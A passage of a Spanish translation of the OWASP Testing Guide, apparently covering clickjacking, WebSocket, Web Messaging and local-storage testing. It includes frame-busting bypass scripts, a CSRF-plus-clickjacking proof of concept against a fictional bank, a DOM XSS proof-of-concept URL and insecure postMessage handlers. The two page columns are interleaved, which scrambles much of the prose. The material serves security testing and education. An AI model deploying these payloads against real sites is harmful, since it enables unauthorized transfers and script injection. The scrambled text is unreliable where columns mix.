<p>Website is vulnerable to clickjacking!</p>
<iframe src=”http://www.target.site” width=”500”

height=”500”></iframe>
</body>
</html>
Resultado esperado: Si se puede ver el texto "Sitio web vulnerable a

clickjacking" (Website is vulnerable to clickjacking!) en la parte superior
de la página y su página web de destino logra cargarla correctamente en
El poder de este método se debe al hecho de que las acciones realizadas el marco, entonces su sitio es vulnerable y no tiene ningún tipo de
por la víctima se originaron desde la página web auténtica (oculta pero protección contra los ataques de clickjacking. Ahora usted puede crear
auténtica). En consecuencia, algunas de las protecciones contra CSRF directamente una "prueba de concepto" para demostrar que un atacante
realizadas por los desarrolladores para proteger a la página web de los podría aprovechar esta vulnerabilidad.
ataques CSRF podrían ser evadidas.
Pasar por alto la protección para Clickjacking:

Cómo probar
En el caso que sólo se vea el sitio de destino o el texto "Sitio Web
Como se mencionó anteriormente, este tipo de ataque es, a menudo, vulnerable a clickjacking!", pero no aparece nada en el iframe, esto quiere
diseñado para permitir que el sitio del atacante pueda inducir al usuario decir que el objetivo probablemente tiene algún tipo de protección contra
hacia el sitio de destino, incluso si se utilizan fichas contra-CSRF. Así que el clickjacking. Es importante tener en cuenta que esto no es una garantía
es importante, al igual que para el ataque CSRF, identificar las páginas de que la página sea totalmente inmune a clickjacking.
web del sitio de destino que reciben datos ingresados por el usuario.
Los métodos para proteger una página web del clickjacking se pueden
Tenemos que descubrir si el sitio web que estamos probando no tiene dividir en dos grandes categorías:
ninguna protección contra ataques de clickjacking o, si los
desarrolladores han puesto en práctica algunas formas de protección, si
estas técnicas son susceptibles de ser evadidas. Una vez que sabemos que
• Protección del lado del cliente: Frame Busting
el sitio web es vulnerable, podemos crear una "prueba de concepto" para
explotar la vulnerabilidad.
• Protección del lado del servidor: X-Frame-Options
El primer paso para descubrir si un sitio web es vulnerable es comprobar

En algunas circunstancias, cada uno de los tipos de defensa podrían ser
si la página web de destino podría ser cargada en un iframe. Para ello es
evitados. A continuación se presentan los principales métodos de
necesario crear una página web sencilla, que incluya un marco que
protección contra estos ataques y las técnicas para evitarlos.
contenga la página web de destino. El código HTML para crear esta
página web de pruebas se muestra en el siguiente fragmento:

313
Protección del lado del clente: Frame Busting convierte en una violación de la seguridad en todos los navegadores
populares debido a la política de navegación de marco descendiente.
El método más común del lado del cliente, que ha sido desarrollado para política. Esta violación de seguridad impide la navegación contra-acción.
proteger a una página web del clickjacking, se llama Frame Busting y se
compone de un script o secuencia de comandos en cada página, que no El código del sitio de destino del frame busting (sitio de destino):
deben ser enmarcados. El objetivo de esta técnica es evitar que un sitio
funcione cuando se carga dentro de un marco. if(top.location!=self.locaton) {
parent.location = self.location;
La estructura del código frame busting consiste típicamente en una "frase }

condicional" y un comando de "acción defensiva". Para este tipo de
protección, hay algunos métodos alternativos que están bajo el nombre Marco superior del atacante (fictitious2.html):
de "reventar el frame busting." Algunas de estas técnicas son específicas
de un navegador, mientras que otras funcionan en todos los navegadores. <iframe src=”fictitious.html”>
Submarco ficticio del atacante (fictitious.html):
Versión móvil del sitio web <iframe src=”http://target site”>
Las versiones móviles de la página web son generalmente más pequeñas

y más rápidas que las del escritorio y tienen que ser menos complejas
que la aplicación principal. Las variantes móviles tienen, a menudo, Desactivación de Javascript
menos protección, ya que existe la suposición errónea de que un atacante
no puede atacar a una solicitud presentada por el teléfono inteligente. Dado que este tipo de protecciones del lado del cliente se basan en el
Este es un error fundamental, ya que un atacante puede falsificar el código frame busting de JavaScript, si la víctima tiene desactivado
origen real dado por un navegador web, de tal manera que una víctima no JavaScript o si es posible que un atacante pueda desactivar el código
móvil puede ser capaz de visitar una aplicación hecha para los usuarios JavaScript, la página web no tendrá ningún mecanismo de protección
móviles. De este supuesto se deduce que, en algunos casos, no es contra el clickjacking.
necesario utilizar técnicas de evadir el frame busting cuando hay
alternativas sin protección que permiten el uso de los mismos vectores de
ataque.
Hay tres técnicas de desactivación que se pueden utilizar con los marcos:
• Marcos restringidos con Internet Explorer: A partir de

Enmarcado doble
Internet Explorer 6, un marco puede tener el atributo "seguridad" que, si
Algunas técnicas de frame busting tratan de romper el marco mediante la se establece en el valor "restringido", asegura el código JavaScript, los
asignación de un valor al atributo "parent.location" en el comando controles ActiveX y redirige a otros sitios que no funcionan en el marco.
"contra-acción".
Ejemplo:
<iframe src=”http://target site” security=”restricted”></iframe>

Esas acciones son, por ejemplo:
• self.parent.location = document.location
• Atributo Sandbox: con HTML5 hay un nuevo atributo llamado
• parent.location.href = self.location
"sandbox". Éste permite un conjunto de restricciones en el contenido
• parent.location = self.location cargado en el iframe. Por el momento, este atributo sólo es compatible
con Chrome y Safari.
Este método funciona bien hasta que la página de destino se encuentra

enmarcada en una sola página. Sin embargo, si el atacante encierra la
página web de destino en un bastidor que está anidado en otro (un marco
doble), a continuación tratará de acceder a "parent.location", lo que se Ejemplo:

314
<iframe src=”http://target site” sandbox></iframe>
A continuación un código de ejemplo:
Modo Diseño: Paul Stone mostró un problema de seguridad en relación página 204:
con el "designMode" que puede ser activado en la página de referencia (a
través de document.designMode), desactivando JavaScript en la parte <?php
superior y el sub-marco. Actualmente, el modo de diseño se implementa
en Firefox e Internet Explorer 8. header(“HTTP/1.1 204 No Content”);
?>
El evento onBeforeUnload
El evento onbeforeunload podría ser utilizado para evadir el código de Página del atacante:
frame busting. Este evento sucede cuando el código de frame busting
quiere destruir el iframe cargando la URL en toda la página web y no sólo <script>
en el iframe. La función de controlador devuelve una cadena que se dirige
al usuario para confirmar si quiere salir de la página. Cuando se muestra var prevent_bust = 0;
esta cadena al usuario es probablemente para cancelar la navegación,
derrotando el intento del frame busting en el objetivo. window.onbeforeunload = function() {
prevent_bust++;
El atacante puede utilizar este ataque al registrar un evento de descarga };

en la primera página al usar el siguiente ejemplo de código:
setInterval(
<h1>www.fictitious.site</h1>
function() {
<script>
if (prevent_bust > 0) {
window.onbeforeunload = function()
prevent_bust -= 2;
{
window.top.location =
return “ Do you want to leave fictitious.site?”; “http://attacker.site/204.php”;
} }
</script> }, 1);
<iframe src=”http://target site”> </script>
La técnica anterior requiere la interacción del usuario, pero el mismo <iframe src=”http://target site”>
resultado se puede lograr sin preguntar al usuario. Para ello, el atacante
tiene que cancelar automáticamente la solicitud de navegación de entrada
en un controlador de eventos onbeforeunload, presentando en varias
Filtro XSS
ocasiones (por ejemplo, cada milisegundo) una solicitud de navegación a
una página web que responde a un encabezado "HTTP / 1.1 204 No
A partir de Google Chrome 4.0 y de IE8, se introdujeron filtros XSS para
Content".
proteger a los usuarios contra ataques reflejados XSS. Nava y Lindsay han
observado que este tipo de filtros se puede utilizar para desactivar el
código de frame busting falso como código malicioso.
Ya que con esta respuesta el navegador no va a hacer nada, el resultado
de esta operación es la descarga de la tubería solicitada, inutilizando el
intento del frame busting.
• Filtro de IE8 XSS: este filtro tiene visibilidad en todas las solicitudes y
los parámetros de respuestas fluyen a través del navegador web y se los

315
compara con un conjunto de expresiones regulares con el fin de buscar site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7

los intentos reflejado de XSS. Cuando el filtro identifica un posible ataque D”>
XSS, se desactivan todas las secuencias de comandos dentro de la página,
incluyendo los scripts de frame busting (lo mismo podría hacerse con
guiones externos). Por esta razón, un atacante podría inducir un falso
positivo insertando el comienzo de la secuencia de comandos de frame Redefinición de localización
busting en un los parámetros de solicitud.
Para varios navegadores, la variable "document.location" es un atributo
inmutable. Sin embargo, para algunas versiones de Internet Explorer y
Safari es posible redefinir este atributo. Este hecho puede ser explotado
Ejemplo: código de frame busting en la página web destinada: para evadir el código de frame busting.
if ( top != self )
{ • Redefinición de localización en IE7 e IE8: es posible redefinir

"localización", como se ilustra en el siguiente ejemplo. Mediante la
top.location=self.location; definición de "localización" como una variable, cualquier código que
intente leer o navegar por la asignación de "top.location" producirá un
} error debido a una violación de seguridad y así se suspenderá el código
de frame busting.
</script>
Ejemplo:
Código de ataque:
<script>
<iframe src=”http://target site/?param=<script>if”>
var location = “xyz”;
</script>
• Chrome 4.0 XSSAuditor filter: Chrome tiene un comportamiento un poco
diferente en comparación con el filtro de IE8 XSS. De hecho, con este filtro un <iframe src=”http://target site”></iframe>
atacante podría desactivar un "guión" que pasa por su código en un parámetro de
la solicitud. Esto permite que la página de encuadre se dirija específicamente a un • Redefinición de localización en Safari 4.0.4: Para romper el código de
único fragmento que contiene el código de frame busting, dejando intactos todos frame busting con "top.location", es posible enlazar "localización" a una
los demás códigos. función a través de defineSetter (a través de la ventana), de manera que
un intento de leer o navegar a la "top.location" producirá un error.
Ejemplo: código de frame busting en la página web destinada:

Ejemplo:
<script>
<script>
if ( top != self )
window.defineSetter(“location” , function(){});
{
</script>
top.location=self.location;
<iframe src=”http://target site”></iframe>
}
</script>
Protección del lado del servidor: X-Frame-Options
Un enfoque alternativo del lado del cliente para el código de frame

Código de ataque: busting fue implementado por Microsoft, y consiste en un encabezado
basado en una defensa. Este nuevo encabezado "X-Frame-Options" se
<iframe src=”http://target envía desde el servidor en las respuestas HTTP y se utiliza para marcar
316
las páginas web que no deben ser enmarcadas. Este encabezado puede destino permite autenticar y autorizar a los usuarios a realizar una
tomar los valores DENY (Negar), SAMEORIGIN (Mismo origen), ALLOW- transferencia de dinero a otra cuenta.
FROM origin (permitir desde el origen), o non-standard ALLOWALL (no
estándar permitir todo). El valor recomendado es DENY.
Supongamos que para ejecutar la transferencia, los desarrolladores han

previsto tres pasos. En el primer paso, el usuario llena un formulario con
El encabezado "X-Frame-Options" es una solución muy buena y fue la cuenta de destino y la cantidad. En el segundo paso, cada vez que el
adoptada por los principales navegadores, pero hay algunas limitaciones usuario envía el formulario, se presenta una página de resumen pidiendo
que podrían conducir a la explotación de la vulnerabilidad de clickjacking. confirmación (como la que se presenta en la siguiente imagen).
Compatibilidad del navegador
Ya que el encabezado "X-Frame-Options" se introdujo en 2009, éste no es

compatible con un navegador antiguo. Cada usuario que no tenga un
navegador actualizado podría ser víctima de un ataque de clickjacking.
Un fragmento del código como ejemplo para el paso 2:
//generate random anti CSRF token
$csrfToken = md5(uniqid(rand(), TRUE));/
/set the token as in the session data
$_SESSION[‘antiCsrf’] = $csrfToken;
//Transfer form with the hidden field
$form = ‘
Proxies
<form name=”transferForm” action=”confirm.php” method=”POST”>
Los web proxies son conocidos por añadir y quitar encabezados. En el
caso en el que un web proxy despoje al encabezado "X-Frame-Options", el <div class=”box”>
sitio pierde su protección de enmarcar.
<h1>BANK XYZ - Confirm Transfer</h1>
<p>
Versión móvil del sitio web
Do You want to confirm a transfer of <b>’.
También en este caso, ya que el encabezado"X-Frame-Options" tiene que $_RE UEST[‘amount’] .’ €</b> to account: <b>’. $_RE UEST[‘account’]
ser implementado en todas las páginas del sitio web, los desarrolladores .’</b> ?
pueden no haber protegido a la versión móvil de la página web.
</p>
<label>
Crear una "prueba de concepto"
<input type=”hidden” name=”amount”
Una vez que hemos descubierto que el sitio que estamos probando es value=”’ . $_RE UEST[‘amount’] . ‘” />
vulnerable a los ataques de clickjacking, podemos proceder con el
desarrollo de una "prueba de concepto" para demostrar la vulnerabilidad. <input type=”hidden” name=”account”
Es importante señalar que, como se mencionó anteriormente, estos value=”’ . $_RE UEST[‘account’] . ‘” />
ataques se pueden utilizar en combinación con otras formas de ataques
(por ejemplo ataques CSRF) y podrían conducir a vencer los tokens anti- <input type=”hidden” name=”antiCsrf”
CSRF. En este sentido, podemos imaginar que, por ejemplo, el sitio de value=”’ . $csrfToken . ‘” />
317
<input type=”submit” class=”button” evadir la protección anti-CSRF y obligar a la víctima a hacer una
value=”Transfer Money” /> transferencia de dinero sin su consentimiento.
</label>
La página de destino para el ataque es el segundo paso del procedimiento

de transferencia de dinero. Dado que los desarrolladores ponen los
</div> controles de seguridad sólo en el último paso, pensando que esto es lo
suficientemente seguro, el atacante podría pasar la cuenta y los
</form>’; parámetros de cantidad mediante el método GET. (Nota: Hay un intento
de clickjacking avanzado que permite a un atacante obligar al usuario a
llenar un formulario, haciendo el clickjacking factible incluso para los
sitios en los que se requiere llenar formularios.
En el último paso, están los controles de seguridad planificados y, entonces, si todo
está bien, se hace la transferencia. El siguiente es un fragmento del código del
último paso (Nota: en este ejemplo, para simplificar, no hay ninguna limpieza de
entrada, pero no es relevante bloquear este tipo de ataque): La página del atacante puede verse como una simple e inofensiva página
web como la que se presenta a continuación:
if( (!empty($_SESSION[‘antiCsrf’])) && (!empty($_POST[‘antiCsrf’])) )
//here we can suppose input sanitization code…
Pero, al jugar con el valor de opacidad CSS, podemos ver lo que se

esconde debajo de una página web aparentemente inocua.
//check the anti-CSRF token
if( ($_SESSION[‘antiCsrf’] == $_POST[‘antiCsrf’]) )
echo ‘<p> ‘. $_POST[‘amount’] .’ € successfully

transfered to account: ‘. $_POST[‘account’] .’ </p>’;
else El código de clickjacking que crea esta página se presenta a continuación:
{ <html>
echo ‘<p>Transfer KO</p>’; <head>
} <title>Trusted web page</title>
Como se puede ver, el código está protegido de ataques CSRF de dos <style type=”text/css”><!--
maneras: una con un token aleatorio generado en el segundo paso y la
otra, aceptando solamente el método de variable pasada vía POST. En esta *{
situación, un atacante podría forjar un ataque CSRF + Clickjacking para
margin:0;

318
padding:0; Recursos OWASP
} • Clickjacking
body {
background:#ffffff; Libros Blancos
} • Marcus Niemietz: “UI Redressing: Attacks and Countermeasures
.button Revisited”: ui-redressing.mniemietz.de
padding:5px; • “Clickjacking”: en.wikipedia.org
background:#6699CC;
left:275px; • Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson:
“Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular

width:120px;
Sites”: seclab.stanford.edu
border: 1px solid
• Paul Stone: “Next generation clickjacking”: media.blackhat.com

Con la ayuda de CSS (note el #clickjacking bloqueo) podemos enmascarar
y posicionar el iframe adecuadamente, de tal manera que coincida con los
botones. Si la víctima hace clic en el botón "Haga clic y listo!", el
Prueba de los WebSockets (OTG-CLIENT-010)
formulario se envía y se completa la transferencia.
Resumen
Tradicionalmente, el protocolo HTTP sólo permitía una

solicitud/respuesta por conexión TCP. Asynchronous JavaScript y XML
(AJAX) permiten a los clientes enviar y recibir datos de forma asíncrona
(en segundo plano sin una actualización de la página) al servidor, sin
embargo, AJAX requiere que el cliente inicie las peticiones y espere las
respuestas del servidor (half-duplex).
WebSockets HTML5 permiten al cliente / servidor crear canales de

comunicación "full-duplex" (bidireccional), permitiendo que el cliente y el
servidor puedan comunicarse verdaderamente en forma asíncrona. Los
El ejemplo que se presenta sólo utiliza la técnica básica de clickjacking, WebSockets conducen su 'actualización' handshake inicial a través de
pero, con una técnica avanzada, es posible obligar al usuario a llenar un HTTP y, de ahí, toda la comunicación se lleva a cabo a través de canales
formulario con valores definidos por el atacante. TCP mediante el uso de marcos.
Herramientas
• Contexto Seguridad de la Información: "Herramienta de clickjacking": Origen

contextis.com
Es responsabilidad del servidor verificar el encabezado de Origen en el
handshake inicial WebSocket HTTP. Si el servidor no valida el encabezado
de origen en el handshake inicial WebSocket, el servidor WebSocket
Referencias puede aceptar conexiones de cualquier origen. Esto podría permitir a los
atacantes comunicarse con el servidor de WebSocket cross-domain

319
permitiendo situaciones del tipo Top 10 2013-A8-Cross-Site Request • Use herramientas para desarrolladores de Google Chrome para acceder a la
Forgery (CSRF) Red WebSocket de comunicación.
Confidencialidad e integridad • Use OWASP Zed Ataque Proxy (ZAP) 's WebSocket tab.
Los WebSockets se pueden utilizar en un TCP no cifrado o en un TLS

cifrado. Para usar WebSockets sin cifrar se utiliza la ws:// esquema URI
(puerto predeterminado 80), para websockets cifrados (TLS) se utiliza la
wss:// esquema de URI (puerto por defecto 443). Preste atención a los
problemas de Top 10 2013-A6-Sensitive Data Exposure . 2. Origen.
• Usando un cliente WebSocket (se puede encontrar uno en la sección de

Herramientas que está a continuación) intente conectarse al servidor WebSocket
Autenticación remoto. Si se establece una conexión, el servidor puede no estar comprobando el
encabezado de origen del WebSocket handshake.
Los WebSockets no manejan la autenticación. En lugar de ello, se aplican
los mecanismos normales de autenticación de aplicaciones tales como
cookies, autenticación HTTP o autenticación TLS. Preste atención a los
3. Confidencialidad e integridad.
problemas de Top 10 2013-A2-Broken Authentication and Session
Management.
• Compruebe que la conexión WebSocket utiliza SSL para transportar información
sensible (WSS: //).
Autorización
Los WebSockets no manejan autorización. Se aplican mecanismos de autorización

de uso habituales. Preste atención a los problemas de Top 10 2013-A4-Insecure
• Compruebe la implementación de SSL para problemas de seguridad (certificado
Direct Object References and Top 10 2013-A7-Missing Function Level Access
válido, BEAST, CRIME, RC4, etc). Consulte la sección de Pruebas de
Control.
codificadores SSL/TLS débiles, protección de transporte de capas insuficiente
(OTG-CRYPST-001) de esta guía.
Desinfección de entrada
4. Autenticación.
Al igual que con todos los datos procedentes de fuentes no confiables, los datos
deben ser adecuadamente desinfectados y codificados. Preste atención a los
• Los WebSockets no manejan la autenticación, por lo que deben llevarse a
problemas de Top 10 2013-A1-inyección y Top 10 2013-A3-Cross-Site Scripting
cabo pruebas normales de autenticación de Caja Negra. Consulte las secciones
(XSS).
de pruebas de autenticación de esta guía.
5. Autorización.
Cómo probar
• Los WebSockets no manejan la autorización, por lo que deben llevarse a cabo
Prueba de Caja Negra pruebas normales de habilitación de Caja Negra. Consulte las secciones de pruebas
de autorización de esta guía.
1. Identificar que la aplicación utiliza WebSockets.
• Inspeccione el código fuente del lado del cliente para los WS: // o WSS: //
esquema URI. 6. Desinfección de entrada.
• Use el OWASP Zed Attack Proxy (ZAP)’s WebSocket tab para volver a
reproducir y fuzz WebSocket para solicitud y respuestas. Consulte las
secciones de Prueba de validación de datos de esta guía.

320
documentación de la API para la aplicación que se está probando, la cual

incluye el esperado WebSocket solicitud y respuestas.
Ejemplo 1
Una vez que se ha identificado que la aplicación utiliza WebSockets (como

se describió anteriormente), podemos utilizar el OWASP Zed Ataque Herramientas
Proxy (ZAP) para interceptar la WebSocket para solicitud y respuestas.
Entonces se puede utilizar ZAP para reproducir y fuzz de los WebSockets • OWASP Zed Attack Proxy (ZAP): owasp.org
solicitud / respuestas.
ZAP es una herramienta de pruebas de penetración integrada, fácil de usar

para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser
un conjunto de herramientas que le permiten encontrar vulnerabilidades
de seguridad de forma manual.
• Cliente WebSocket - github.com
Ejemplo 2 Un cliente WebSocket que se puede utilizar para interactuar con un

servidor WebSocket.
Usando un cliente WebSocket (se puede encontrar uno en la sección
Herramientas abajo), intente conectarse al servidor remoto WebSocket. Si
se permite la conexión, el servidor WebSocket puede no estar revisando
el encabezado de origen del WebSocket handshake. Intente reproducir las • Cliente WebSocket Google Chrome Simple: cromo google.com
solicitudes previamente interceptadas para verificar que la comunicación
WebSocket cross-domain es posible.
Construye solicitudes personalizadas WebSocket y maneja las respuestas

para probar directamente los servicios de Websocket.
Referencias
Libros Blancos
• HTML5 Rocks - Introducing WebSockets: Bringing Sockets to
the Web: html5rocks.com
• W3C - The WebSocket API: dev.w3.org
Prueba de Caja Gris

• IETF - The WebSocket Protocol: tools.ietf.org
Probar la Caja Gris es similar a probar la Caja Negra. En las pruebas de
Caja Gris, el probador de la pluma tiene un conocimiento parcial de la
solicitud. La única diferencia aquí es que usted puede tener
• Christian Schneider - Cross-Site WebSocket Hijacking (CSWSH):

321
christian-schneider.net • Datos: Contenido del mensaje entrante
• Jussi-Pekka Erkkilä - WebSocket Security Analysis: juerkkil.iki.fi
• Origen: Origen del documento emisor
• Robert Koch- On WebSockets in Penetration Testing:
ub.tuwien.ac.at • Fuente: ventana de la fuente
• DigiNinja - OWASP ZAP and Web Sockets: digininja.org Un ejemplo:
Enviar mensaje:
Prueba de mensajería web (Web Messaging) (OTG-CLIENTE-011)
Resumen iframe1.contentWindow.postMessage(“Hello
world”,”http://www.example.com”);
Web Messaging (también conocido como Cross Document Messaging)
permite a las aplicaciones que se ejecutan en diferentes dominios
comunicarse de una manera segura. Antes de la introducción de la web de
mensajería, la comunicación de diferentes orígenes (entre iframes, Recibir mensaje:
pestañas y ventanas) fue restringida por la política del mismo origen y
puesta en vigor por el navegador; sin embargo, los desarrolladores
utilizan varios cortes con el fin de llevar a cabo estas tareas, la mayoría de
ellas principalmente inseguras. window.addEventListener(“message”, handler, true);
function handler(event) {
Esta restricción en el navegador está colocada para evitar que un sitio if(event.origin === ‘chat.example.com’) {
web malicioso pueda leer datos confidenciales de otros iframes, tabs, etc,
sin embargo, hay algunos casos donde dos legítimos sitios web de /* process message (event.data) */
confianza necesitan intercambiar datos entre sí.
} else {
/* ignore messages from untrusted domains */

Para satisfacer esta necesidad, se introdujo Cross Document Messaging
dentro del borrador de la especificación WHATWG HTML5 y se }
implementó en todos los principales navegadores. Esto permitió una
comunicación segura entre múltiples orígenes a través de iframes, }
pestañas y ventanas.
Concepto de seguridad de origen

La API Messaging introdujo el método postMessage (), con la que los
mensajes de texto sin formato se pueden enviar a través de cross-origin. Se El origen se compone de un esquema, nombre de host y del puerto que
compone de dos parámetros: el mensaje y el dominio. identifica de forma exclusiva el dominio de envío o recepción del mensaje.
No incluye la ruta de acceso o el fragmento de la URL. Por ejemplo,
https://example.com/ será considerada diferente de http://example.com
porque el esquema en el primer caso es https y en el segundo, http; lo
Hay algunos problemas de seguridad cuando se utiliza '*' como el mismo se aplica a los servidores Web que se ejecutan en el mismo
dominio que se discute a continuación. Entonces, con el fin de recibir dominio, pero en diferentes puertos.
mensajes, el sitio web receptor tiene que añadir un nuevo controlador de
eventos y tener los siguientes atributos:

322
Desde una perspectiva de seguridad, se debe comprobar si el código está La comprobación manual debe llevarse a cabo y el código JavaScript debe
filtrando y procesando mensajes solamente desde dominios de confianza. ser analizado para averiguar cómo se implementa Web Messaging. En
Normalmente, la mejor manera de lograr esto es usar una lista blanca. particular, debemos estar interesados en cómo el sitio web limita los
También dentro del dominio de envío, queremos asegurarnos de que el mensajes provenientes de dominio de confianza, y cómo los datos se
dominio de recepción se está indicando explícitamente y no '*' como el manejan incluso para los dominios de confianza. A continuación se
segundo argumento de postMessage (), ya que esta práctica podría presentan algunos ejemplos:
introducir problemas de seguridad y podría conducir al caso de un
cambio de dirección, o si el origen cambia por otros medios, el sitio web
estaría enviando datos a hosts desconocidos y, por lo tanto, filtrando
datos confidenciales a servidores maliciosos. Ejemplo de código vulnerable :
En este ejemplo, el acceso es necesario para cada subdominio (www, chat,

foros, ...) dentro del dominio owasp.org. El código está tratando de
En caso de que la página web no pueda agregar controles de seguridad aceptar cualquier dominio que termine en .owasp.org:
para restringir los dominios o los orígenes que puedan enviarle mensajes,
lo más probable es introducir un riesgo de seguridad, ya que es una parte window.addEventListener(“message”, callback, true);
muy interesante del código desde un punto de vista de pruebas de
penetración. Debemos escanear el código de los detectores de eventos de
mensajes y obtener la función de devolución de llamadas desde el método
addEventListener para su posterior análisis ya que, como dominios, function callback(e) {
deben ser siempre verificados antes de la manipulación de datos.
</b>if(e.origin.indexOf(“.owasp.org”)!=-1) {<b>
/* process message (e.data) */

Validación de entrada de event.data
}
La validación de entrada también es importante, incluso si el sitio web
está aceptando solamente mensajes de dominios de confianza. Los datos }
tienen que ser tratados como datos externos no confiables y se debe
aplicar el mismo nivel de controles de seguridad. Debemos analizar el
código y buscar métodos inseguros, en particular, si los datos se evalúan a
La intención es permitir subdominios en esta forma:
través de
www.owasp.org
eval()
chat.owasp.org
o se inserta en el DOM a través de
forums.owasp.org
innerHTML
...
propiedad que crearía una vulnerabilidad DOM-based XSS.
Código inseguro. Un atacante puede pasar por alto fácilmente el filtro, ya

que coincidirá con www.owasp.org.attacker.com.
Cómo probar

Ejemplo de falta de comprobación de origen, muy inseguro porque
Las pruebas de vulnerabilidades de la Caja Negra en Web Messaging, por aceptará la entrada de cualquier dominio:
lo general, no se llevan a cabo porque el acceso al código fuente está
window.addEventListener(“message”, callback, true);
siempre disponible ytiene que ser enviado al cliente para ser ejecutado.
function callback(e) {
Prueba de Caja Gris
/* process message (e.data) */

323
} Prueba de Almacenamiento Local (OTG-CLIENT-012)
Resumen
Ejemplo de validación de entradas: La falta de controles de seguridad Almacenamiento local, también conocido como Web Storage o Offline
conducen a Cross-Site Scripting (XSS) Storage, es un mecanismo para almacenar los datos como pares
clave/valor atados a un dominio y forzados por la política del mismo
window.addEventListener(“message”, callback, true); origen (SOP). Hay dos objetos: localStorage que es persistente y está
destinado a sobrevivir los reinicios del navegador/sistema; y
sessionStorage que es temporal y sólo existe hasta que se cierre la
ventana o pestaña.
function callback(e) {
if(e.origin === “trusted.domain.com”) {

En promedio, los navegadores permiten guardar en este almacenamiento
element.innerHTML= e.data; alrededor de 5 MB por cada dominio. Comprarados con el de 4 KB de
cookies es una gran diferencia, pero la diferencia clave desde la
} perspectiva de seguridad es que los datos almacenados en estos dos
objetos se mantienen en el cliente y nunca se envían al servidor. Esto
} también mejora el rendimiento de la red ya que los datos no tienen que ir
y volver a través del cable.
Este código dará lugar a vulnerabilidades Cross-Site Scripting (XSS) ya que

los datos no se tratan adecuadamente. Un enfoque más seguro sería el Almacenamiento local
uso de la propiedad textContent en lugar de innerHTML.
El acceso al almacenamiento se realiza normalmente utilizando las
funciones SetItem y GetItem. El almacenamiento se puede leer desde
JavaScript, lo que significa que con una sola XSS un atacante sería capaz
Herramientas de extraer todos los datos desde el almacenamiento. Además, se pueden
cargar datos maliciosos en el almacenamiento a través de JavaScript, por
• OWASP Zed Attack Proxy (ZAP): owasp.org
lo que la aplicación necesita tener los controles para el tratamiento de
datos no confiables. Compruebe si hay más de una aplicación en el mismo
dominio, tales como example.foo/app1 y example.foo/app2, porque esas
compartirán el mismo almacenamiento.
Los datos almacenados en este objeto persistirán después que la ventana
está cerrada. No es buena idea almacenar datos sensibles o
un conjunto de herramientas que le permiten encontrar las
identificadores de sesión en este objeto, ya que se puede acceder a ellos a
vulnerabilidades de seguridad de forma manual.
través de JavaScript. Datos de sesión ID almacenados en las cookies
pueden mitigar este riesgo mediante el indicador HTTPOnly.
Referencias
sessionStorage
Recursos OWASP
La principal diferencia de localStorage es que se puede acceder a los
datos almacenados en este objeto sólo hasta que la pestaña / ventana se
cierra, lo que lo hace un candidato perfecto para los datos que no
necesitan persistir entre sesiones. Ya que comparte la mayoría de las
Libros Blancos propiedades y los métodos getItem / setItem, la prueba manual debe
llevarse a cabo para buscar estos métodos e identificar en qué partes del
• Web Messaging Specification: whatwg.org código se accede al almacenamiento.

324
Cómo probar También podemos inspeccionar estos objetos a partir de las herramientas
de desarrollo de nuestro navegador.
Las pruebas de Caja Negra de temas dentro del código de

almacenamiento local, por lo general, no se llevan a cabo porque el acceso La siguiente prueba manual debe llevarse a cabo con el fin de determinar
al código fuente está siempre disponible ya que tiene que ser enviado al si el sitio web está guardando datos sensibles en el almacenamiento que
cliente para ser ejecutado. representa un riesgo, y aumentará dramáticamente el impacto de una
fuga de información. También se debe revisar el código de manejo del
almacenamiento para determinar si es vulnerable a ataques de inyección,
un problema común cuando el código no escapa a la entrada o a la salida.
Prueba de Caja Gris El código JavaScript tiene que ser analizado para evaluar estas cuestiones,
así que asegúrese de arrastrar la aplicación para descubrir cada instancia
En primer lugar, hay que comprobar si se utiliza el almacenamiento local. de código JavaScript y tenga en cuenta que, a veces, las aplicaciones
utilizan las bibliotecas de terceros que tendrían que ser examinadas
Ejemplo 1: Acceso al almacenamiento local: también.
El acceso a todos los elementos de almacenamiento local con JavaScript:
for(var i=0; i<localStorage.length; i++) {

Aquí está un ejemplo de cómo el uso indebido de la entrada del usuario y
la falta de validación puede conducir a ataques XSS.
console.log(localStorage.key(i), “ = “,
localStorage.getItem(localStorage.key(i)));
} Ejemplo 2: XSS en localStorage:
La asignación insegura de localStorage puede conducir a XSS
El mismo código puede ser aplicado a la sesión de almacenamiento. function action(){
Para el uso de Google Chrome, haga clic en menu -> Tools -> Developer var resource = location.hash.substring(1);
Tools. A continuación, en Recursos, verá "Almacenamiento local" y
"almacenamiento Web '.
localStorage.setItem(“item”,resource);
item = localStorage.getItem(“item”);
document.getElementById(“div1”).innerHTML=item;
Para el uso de Firefox con el Firebug en adelante, fácilmente puede </script>

inspeccionar el objeto localStorage / sessionStorage en la pestaña DOM.
<body onload=”action()”>
<div id=”div1”></div>
</body>

325
URL PoC: • OWASP Zed Attack Proxy (ZAP): owasp.org
http://server/StoragePOC.html#<img src=x onerror=alert(1)>

utilizada por personas con amplia experiencia en seguridad y ,como tal, es
un conjunto de herramientas que le permiten encontrar las
vulnerabilidades de seguridad de forma manual.
Referencias
Herramientas
Recursos OWASP
• Firebug: getfirebug.com
• Google Chrome Developer Tools: developers.google.com

Libros Blancos
• Web Storage Specification: w3.org

326
Cómo Reportar
5 La realización de la parte técnica de la evaluación es sólo la mitad del proceso global de evaluación.
El producto final es la producción de un informe bien escrito e informativo. Un informe debe ser
fácil de entender y debe poner de relieve todos los riesgos encontrados durante la fase de
evaluación. El informe debe hacer un llamamiento tanto a la dirección ejecutiva como al personal
técnico.
organización enfrenta o sus consecuencias en los negocios si las

vulnerabilidades explotan. Esta es la tarea de los profesionales en
La realización de la parte técnica de la evaluación es sólo la mitad del situación de riesgo, quienes calculan los niveles de riesgo a base de esta y
proceso global de evaluación. El producto final es la producción de un otra información. La gestión de riesgos, por lo general, será parte de la
informe bien escrito e informativo. Un informe debe ser fácil de entender organización IT Security Governance, Risk and Compliance (GRC) y este
y debe poner de relieve todos los riesgos encontrados durante la fase de informe se limitará a proporcionar un primer paso a ese proceso.
evaluación. El informe debe hacer un llamamiento tanto a la dirección
ejecutiva como al personal técnico.
2. Parámetros de prueba
La introducción debe describir los parámetros de las pruebas de

seguridad, los hallazgos y la remediación. Algunos títulos de las secciones
El informe debe tener tres secciones principales. Debe ser creado de una sugeridas incluyen:
manera que permita que cada sección separada pueda ser impresa y
